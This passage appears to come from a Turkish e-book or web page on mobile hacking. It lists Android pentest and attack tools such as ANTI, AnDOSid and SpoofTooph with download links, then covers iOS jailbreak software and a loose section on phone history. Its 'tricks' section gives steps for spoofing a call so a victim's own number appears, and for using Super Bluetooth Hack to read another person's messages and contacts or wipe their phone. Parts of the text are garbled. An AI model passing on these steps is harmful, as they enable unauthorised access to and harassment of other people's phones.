Bu uygulamanın amacı, derlenmiş Android uygulamasını incelemek ve varsa<br />
içindeki virüs benzeri bölümleri bulmaya çalışmaktır.<br />
İndirmek için (http://code.google.com/p/apkinspector/) adresini kullanın.<br />
Burp Suite<br />
Web uygulamalarının güvenlik denetimi için kullanılan bir uygulamadır. Tüm<br />
deneme ve testler birçok aracın birlikte kullanımıyla gerçekleşir. İndirmek<br />
için (http://www.portswigger.net/burp/) adresi kullanılır.<br />
Androguard<br />
Kendi analiz araçlarınızı yaratmanızı sağlar. Bir dizi android uygulaması<br />
analiz edilir. Açık kaynak kötü amaçlı android yazılımları da incelenir.<br />
İndirmek için (http://code.google.com/p/androguard/#Description) adresi<br />
kullanılır.<br />
Sömürmek için Android İskeleti (Android Framework Exploitation)
Smartphone Pentest Framework yazılımı, modern Dünyanın sızma<br />
denemelerindeki gibi bir yaklaşımla çevrenizdeki akıllı telefonların<br />
güvenliğini kırmaya ve içine girmeyi sağlar. İndirmek için<br />
(http://www.github.com/xysec/) adresini kullanabilirsiniz.<br />
Android Ağ araçları (Network Toolkit)<br />
Bu uygulama sizin ağınızın haritasını çıkarır. Çevredeki araçları ya da<br />
ayarları inceler. Amatör kullanıcıların ev içindeki diğer araçlara sızma<br />
denemelerinde kullanılır. ANTI başka yararlı amaçlar için de kullanılabilir.<br />
Bunlar özet olarak; Açık kapılara kolay bağlantı, URL ve çerezleri görsel<br />
izleme (sniffing) ve MiTM saldırıları düzenlemeler (önceden tanımlanmış<br />
kullanıcı filtrelerini kullanma), Sunucu/İstemci tarafındaki faydalanmalar,<br />
Şifre kırma ya da şifre güvenlik düzeyini belirleme, resimleri örneklerde ve<br />
hizmet saldırılarında kullanma gibi işlemlerdir. Hepsi bir paket olarak<br />
kullanışlı kullanıcı arayüzüyle bir Android uygulaması olarak sunulmuştur<br />
(yakında iOS uygulaması olarak da kullanıma açılacaktır). İndirmek için<br />
(http://www.zimperium.com/anti.html) adresini kullanın.<br />
ANONdroid<br />
AN.ON isimsiz hizmet uygulamasıdır. Bu istemci yazılımı WEB sayfalarında<br />
isimsiz (IP numarasız) dolaşmanızı sağlar. Aslında <strong>bilgisayar</strong>ınızda bir proxy<br />
sunucu gibi çalışır. Jo Do tarafından üretilen kitaplıkları kullanır. Akıllı telefon<br />
arayüzüne benzeyen kullanıcı arayüzleri vardır.<br />
İndirmek için (https://market.android.com/details?id=anondroid.anondroid=<br />
web sitesi kullanılır.<br />
Am I Hacker Proof (Hacker'dan kurtulmuş muyum?)<br />
Bu program <strong>bilgisayar</strong>ınızı, ağınızı ya da Web sitenizi dışarıdan bir hacker<br />
gibi tarar, gedikleri bulur ve size e-posta ya da SMS üzerinden gedikleri<br />
bildirir. Bu program telefonunuzun kaynaklarını kullanmaz. Başlarken size<br />
bildirir (e-posta ya da SMS olarak), sonra bittiğini de bildirir.<br />
Aşağıdaki hizmetler ücretsiz sunulur:<br />
Üç tür taramadan biri seçilebilir. Hızlı (Quick) tarama (dört saate kadar<br />
tarama), Tüm (Complete) tarama (tamamlanması dört gün sürer) ve Web<br />
sitesi taraması (WordPress Web sitelerini tarar).<br />
IP adresi ya da Web adresi üzerinden tarama yapabilirsiniz.<br />
Bir ayda 10 kez tarama yapabilirsiniz (ucretsiz olduğu için)<br />
Ping, traceroute, whois, ISP/E-posta hizmet sağlayıcısı veri tabanı ve gerçek<br />
zamanlı siber güvenlik haberleri gibi hazır araçları vardır.<br />
Raporlar PDF dosyalarda saklanır, istenirse e-posta adresinize gönderilir.<br />
Telefonunuzdaki hesap www.AmIHackerProff.com web sitesiyle uyumlu<br />
çalışır.
VoiceMail hack etme<br />
Ping, traceroute, whois, ISP/E-posta servis sağlayıcı veri tabanı ve gerçek<br />
zamanlı siber güvenlik haberleri beslemesi hazır araçları vardır.<br />
Taramalarda adres, zaman, sayı ve gedikler ya da durum ile gösterim.<br />
E-posta ya da sms mesajıyla gediklerin bilgisi iletilir.<br />
İndirmek için (https://market.android.com/details?<br />
id=com.ligatt.amihackerprooffree&feature=search_result) adresini kullanın.<br />
Hack etme eğitimi (kitapçığı)<br />
(https://play.google.com/store/apps/details?id=x.abcd)<br />
İzlenmesi kolay, çeşitli hack etme teknikleri adım adım anlatılmıştır.<br />
Güçlük derecesine göre sınıflandırılmıştır.<br />
Denenmiştir. Tüm hack etme araçları çalışır.<br />
Görsel öğrenenler için videolar vardır.<br />
Tüm hacker saldırılarından korunma kuralları,<br />
Linux kökenli profesyonel arka kapı hack etme eğitimleri.<br />
Droid Pentest<br />
Sızma denemelerinde kullanılan tüm android uygulamalarının bulunmasında<br />
yardımcı olur. İndirmek için<br />
(http://sourceforge.net/projects/droidpentest/files/latest/download?) adresini<br />
kullanın.<br />
Wifi Protector<br />
Android ortamında “Man in the middle” türü saldırıyı yakalayıp ölçebilen tek<br />
uygulamadır. Başka hiçbir uygulama bu kadar yüksek ağ güvenliği<br />
sağlayamaz. Telefonunuzu FaceNiff, Cain & Abel, ANTI, Ettercap,<br />
DroidSheep, NetCut ve benzeri yazılımlardan korur. Yazılım sizin<br />
oturumunuzu “Man in the Middle” aracılığıyla ARP zehirleme ve ARP<br />
kandırmasıyla etkilemeye kalktığında sizi korur.<br />
İndirmek için (https://market.android.com/details?<br />
id=com.gurkedev.wifiprotector) adresi kullanılır.
MOBİL HACKLEME HİLELERİ<br />
Çağrı örselemek (Call forging)<br />
Birisini kendi telefonundan aramak:<br />
http://www.mobivox.com/ adresinde ücretsiz bir hesap açın.<br />
Hesap açarken kurbanın telefon numarasını kullanmayı unutmayın.<br />
E-postanıza gelen iletiyle e-postanızı onaylayın. Sonra giriş yapıp “Direct<br />
WebCall” ile numarayı arayın.<br />
Aşağıdaki gibi bir sayfaya ulaşırsınız:<br />
Burada “Call Now” düğmesine basın.<br />
Arkadaşınız kendi telefonunun kendisini aradığını görünce çok şaşıracaktır.<br />
Polis gibi sizleri arayanların bu yönteme benzer bir yöntem kullandıkları<br />
açıktır.<br />
Mobil Bluetooth hackleme<br />
Aşağıda bir başkasının telefonuna erişince neler yapabileceğinizin bir listesi<br />
var:
Mesajlarını okuyabilirsiniz<br />
Rehberini okuyabilirsiniz (kendi telefonunuzu hangi adla sakladığını<br />
görebilirsiniz)<br />
Profilini değiştirebilirsiniz<br />
Telefon zilini çaldırabilirsiniz<br />
O telefon üzerinde müzik çalabilirsiniz<br />
O telefonu kapatıp yende aşlatabilirsiniz.<br />
Telefonu kapatabilirsiniz.<br />
Fabrika ayarlarına geri döndürebilirsiniz<br />
Zil sesini ayarlayabilirsiniz.<br />
Bluetooth açık olan telefonu hacklemek aşağıdakiler sırayla yapılmalıdır:<br />
Super Bluetooth Hack 1.8 indirilir. Sizin telefonunuzun bu programı<br />
kullanabilenler listesinde olup olmadığını kontrol edin. Sonra programı<br />
telefonunuza kurun.<br />
Hacklenecek telefona programı yüklemek gerekmez.<br />
Önce telefonuzdaki bluetooth'u açın sonra programı başlatın.<br />
Bağlanma seçeneğini seçin. Blıyetooth açık olan cihazları ayarın.<br />
Arkadaşınızın bluetooth'u açık olduğundan listede görünecektir. Sonra<br />
işlemleri yapabilirsiniz.<br />
MOBIL HACKLEME ARAÇLARI<br />
AnDOSid: Andorid için DOS araçları<br />
AnDOSid yalnız güvenlik çalışanları için tasarlanmıştır.<br />
Mesaj gönderen android cihaza ilişkili iki tekil sayı gönderilen AnDOSid<br />
etiketlerini tanımlar. AnDOSid güvenlik çalışanlarının DOS (Denial of Service)<br />
saldırısı benzetmelerini sağlar. Ve doğal olarak mobil telefonlardan web için<br />
dDOS saldırısı da oluşturulur.<br />
Sızma araçları bu tür saldırıyı benzetmek için vardır. Ve web sitesi güvenlik<br />
çalışanlarının bunlara karşı korunma yaplarına yararlar. Mobil cihazlar son<br />
yıllarda yalnız telefon çağrıları için kullanılmamaktadır.<br />
SpoofTooph<br />
Bu program bluetooth donanımının adını, sınıfını ve adresini klonlamak ya da<br />
kandırmak için kullanılır. Sıradan donanımda klonlama bluetooth donanımını<br />
gizlemeye yarar. Bluetooth arama işlemi birden çok donanım varsa yalnız
irini listeler (özellikle aynı adresteklerden birini)<br />
İndirmek için (http://sourceforge.net/projects/spooftooph/files/spooftooph-<br />
0.5/) adresi kullanılır.<br />
JAILBREAK iOS<br />
Jailbreak, iOS işletim sistemi kullanan Apple donanımının sınırlarını<br />
kaldırmaya denir.Bunun için yazılım ve donanım olanakları kullanılır. Bu<br />
donanımlar iPhone, iPod, iPad ve ikinci jenerasyon Apple TV'dir. Jailbreak iOS<br />
işletim sisteminde “root” erişimine izin verir. Ayrıca, “Apple App Store” da<br />
olmayan diğer uygulamalar, uzantılar ve temalar telefona yüklenebilir.<br />
Evasion<br />
Jailbreak yazılımıdır. İOS 7 ve önceki sürümlerde (iOS 6.0'dan sonrası)<br />
çalışır. Mac Os sürümünü indirmek için (https://mega.co.nz/#!<br />
gp9z2RTJ!VWcrCkGWqGp-0Ijk4mKRQzE_ZdU1F0ojA5aKO7Ki7jo),<br />
windows sürümünü indirmek için (https://mega.co.nz/#!Al0lEAzA!<br />
CEbvejP3cU2cstBT9w2apzLEMYAKFy8qu0K3Z6mjShA) adresleri<br />
kullanılır.<br />
RedSnow<br />
Her hangi bir 5xiOS'dan diğerine taşınabilir.<br />
A4 donanımlarındaki jailbreak'e Cydia da bağlanmıştır.<br />
DFU konumuna bağlanmış, A4 donanımlarını tanımlarken “Just Boot”<br />
bağlantısı otomatik kurulur.<br />
3GS ortamlarında eski başlama belleği (bootrom) 6.0 jailbreak'e bağlı<br />
değildir.<br />
3GS ya da iPhone4 lerin herhangi birinde 6.0 hactivation bağlantısı<br />
yoktur.<br />
A5 öncesi donanımların firmware bilgileri yeniden yüklenir. Karmaşık<br />
15 adımlık nasıl yapılır gibi şeylere gerek yoktur.<br />
Her hangi bir IPSW için yeni imzalanmış blob'ları arar.<br />
3GS ya da iPhone4 için BB güncellemesini engeller (Extras->Even<br />
More-> Restore kullanarak)<br />
Denemek için iTunes'dan resmi kilit açma konumunu kullanarak iPhone<br />
telefonun etkinliğini kaldır.<br />
“Even More” etkinlik konumlarını gösterir.<br />
Donanım “normal” konumdayken “Identify” düğmesiyle dönen bilgi<br />
daha çoktur.<br />
Jailbreak'e bağlanmış ATV2 desteklenir.
Kırılmış düğmelerle WTF konumundan otomatik çıkış vardır.<br />
Bir dizi blob uzaktan arandığında (Apple ya da Cydia) redsnow bunları<br />
yerel olarak da saklar.<br />
Apple için (https://sites.google.com/a/iphonedev.com/files/home/redsn0w_mac_0.9.15b3.zip?attredirects=0&d=1)<br />
windows için (https://sites.google.com/a/iphonedev.com/files/home/redsn0w_win_0.9.15b3.zip?attredirects=0&d=1)<br />
adreslerinden indirilebilir.<br />
ÇEŞİTLİ CEP TELEFONU BİLGİLERİ<br />
3G Teknolojisi<br />
NOKIA<br />
3G ya da üçüncü kuşak kablosuz ağ teknolojisi, kişisel ve iş ortamındaki<br />
gelişmeleri belirtir. Roaming yeteneği, band aralığı ve hızlı iletişim<br />
özelliklerini içerir. Bir çok ülke artık 4G teknolojisine taşınırken, hala 3G<br />
kurmamış ülkelerin var olduğunu (Hindistan bile 2010'dan sonra geçti)<br />
söylemeden geçmemek gerekir.<br />
Nokia Simbian işletim sisteminde ilk kez dokunmalı ekranı olan telefonlar<br />
çıkarttığında bu teknoloji yeniydi. Ekran 720p çözünürlükte video<br />
çekilebiliyordu.<br />
SAMSUNG<br />
LG<br />
Önce Windows Phone 7 ile ürün çıkarttı. Herkes bilir ki piyasaya yeni bir<br />
ürün çıkartmanın dört adımı vardır. İlkinde resim kalitesi sızdırılır, sonra<br />
video, peşinden işlevsel özellikler ve sonunda resmi tanıtım yapılır.<br />
Hafif, hanımların kullanımına uygun, renk çeşitleri çok telefonlarla piyasada<br />
boy gösterdi. Tarayıcılar, mesaj çeşitliliği ve bir çok yenilik telefonlarda boy<br />
göstermeye başladı.<br />
Android ve iOS teknolojisi<br />
Android ve iOS teknolojileri akıllı telefonlarda yeni bir yaşam boyutu getirdi.<br />
Daha sonra Windows da aynı ortama girdi. Telefonlara tabletler eklendi. 4G<br />
teknolojisine geçildi. Mobil yaşamın boyutu değişti.